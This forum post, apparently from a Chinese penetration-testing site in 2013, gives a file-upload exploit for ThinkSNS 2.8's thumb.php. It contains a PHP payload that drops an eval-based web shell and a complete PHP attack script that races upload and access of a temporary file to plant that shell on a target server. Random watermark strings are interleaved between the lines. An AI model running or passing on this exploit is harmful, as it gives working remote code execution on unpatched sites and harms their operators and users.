中国网络渗透测试联盟
标题:
Thinksns2.8文件上传漏洞利用exp
[打印本页]
作者:
admin
时间:
2013-2-4 16:12
标题:
Thinksns2.8文件上传漏洞利用exp
漏洞版本
+ p3 J! x6 i) q+ r
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
5 R$ D# x; @/ G! W" a" @1 G
漏洞文件
+ o# K: z7 d4 D; c
存在漏洞的文件为:thumb.php
0 ~' a% `4 [! I6 Y6 ]& Z$ F5 Y
作者:韦鲲鹏
+ k2 u' D& d ^2 ?* e
1、 准备如下PHP文件并上传到服务器(自己的)。
1 b5 F. U5 l% H; a
文件内容如下:
. R; ?5 v6 A @2 U- g% {, m
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
) q. d2 W- R' r
2、 计算出临时的文件名:
& k1 S4 B% d$ |1 M- l& X7 J
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
+ V' K/ G6 ^3 t3 D
7 n$ q5 P% B j+ ^ N) {; _1 Z
3、 上传临时文件。
' X4 E! W2 O' L- w8 [
4、 访问临时文件。
* I. [! I5 N2 k8 `1 x
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
2 v |3 ~/ ?& z8 }: g
Exploit文件内容如下:(这个我就不详细解释了)
! m2 P) ]6 a6 ^- R. u' J$ J
<?php
- y3 a3 v! e+ a( ?: a1 D% |7 [+ d. f
error_reporting(0);
: |8 Q+ }' @$ ?% p# t" D
set_time_limit(0);
; O5 w! J$ G$ ^$ \% D" B$ Q" f% ^& {
ini_set(“default_socket_timeout”, 5);
0 ^4 h" i4 j8 g& B$ R) f
function http_send($host, $port, $headers) {
* Y8 c: w! G' @; i& Y
$fp = fsockopen($host, $port);
' x1 m# u% b' ~
if (!$fp) die(‘Connection -> fail’);
! W/ f$ G- \% t" y2 u
fputs($fp, $headers);
* x5 }% N3 z) J5 |
return $fp;
1 |% F/ H. h M' u* a$ n9 ~+ v5 a6 N
}
8 H( A( V/ C, x) Z5 o
function http_recv($fp) {
6 {, y, A7 b' ]0 G0 @
$ret=”";
/ ]9 g; [6 C/ Q, |0 e) \ f( T
while (!feof($fp))
* V! f: J& Y; U# J( P
$ret.= fgets($fp, 1024);
7 s% m" y+ h3 Q$ x$ ^4 C
fclose($fp);
' m, V- _' s) y( J* W+ R+ v
return $ret;
% o6 [$ r! c- Y ^
}
0 H T, M6 {. b2 O* @
print “\n# ThinkSns Arbitrary File Upload #\n”;
4 O$ N% V5 l- l5 U& V, {' s
print “# Discovered by 韦鲲鹏 #\n\n”;
5 |/ a7 s8 `$ L* v; C
if ($argc < 4) {
! b7 ?+ V1 a2 A! N) A
print “Usage: php <host> <path> <romote_url>\n”;
! [8 |, Y. {2 F
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
1 Y% }; q( d I( t5 {4 M2 n- n" ?
die();
- N, n* M1 n( S) P) L# n; k3 C' E
}
% ^& n2 o" C9 }
$host = $argv[1];
0 m/ {4 B( J3 c
$path = $argv[2];
* L R8 A% l+ O" |# K8 m: z1 \7 e
$url = $argv[3];
- w2 Q2 w" I- V g. }8 `2 ^7 ?
$i=0;
7 G/ g* z, _4 \$ I& |" N
//上传数据包
4 i+ p' u/ q! S3 S N7 m; D7 \
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
5 z$ g% `0 Y& L$ x- B( l% @" W
$headers_up .= “Host: “.$host.”\r\n”;
1 ]1 `/ c K8 F1 T9 z
$headers_up .= “Connection: close\r\n\r\n”;
" ?0 U3 Z6 ]1 F# h, E) K
echo $headers_up;
; n; `+ |9 H4 q# F+ r# l9 z# e& W
//临时文件访问数据包
, W, l, ]7 ^7 c/ g2 j- O x3 e- C: I
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
1 ~) Q1 \' b- l E% @8 P
$headers .= “Host: “.$host.”\r\n”;
7 T! u/ T0 g6 @: O2 J* T3 u
$headers .= “Connection: close\r\n\r\n”;
8 v- Z m8 ?/ s+ B1 A9 A
echo $headers;
+ B7 _+ \' Z% ?
while(++$i<10) {
* P. P0 w% {/ n4 Y2 k' D* g
fclose(http_send($host, 80, $headers));
! b Z& e9 U! `/ |# Z
}
5 v7 m5 H2 Q( T; u( W0 J
fclose(http_send($host, 80, $headers_up));
) Z' r' H; Z6 b P5 Z( C7 g
while(++$i<50) {
& O( f6 W. _/ n+ O$ j& M
fclose(http_send($host, 80, $headers));
8 r6 I2 I0 P+ a4 @9 R8 `
}
7 P" D S3 Q& w% Y. P% C8 ?* ~
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
' ~' n$ B1 S" N
$headers .= “Host: “.$host.”\r\n”;
. ?7 Z. z @( m$ c8 c
$headers .= “Connection: close\r\n\r\n”;
8 r( A$ y/ H b0 ?/ F3 E
$res=http_recv(http_send($host, 80, $headers));
. K3 U. e3 n6 k& h0 v8 @( F( A
if(preg_match(‘/200 OK/’,$res)) {
& @8 q `0 C. Z, H v% x
print “Success!\n\n”;
0 i, p5 |5 ~% D% B# t. E- E4 k
} else {
* u; A7 j5 }, Q, a5 Y4 _
print “Fail!\n\n”;
$ n& x" k" N# Q8 e& H
}
; r0 s' @ X$ x0 [1 O0 f
?>
3 u" N5 b: J, F' \! x2 j8 ^
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2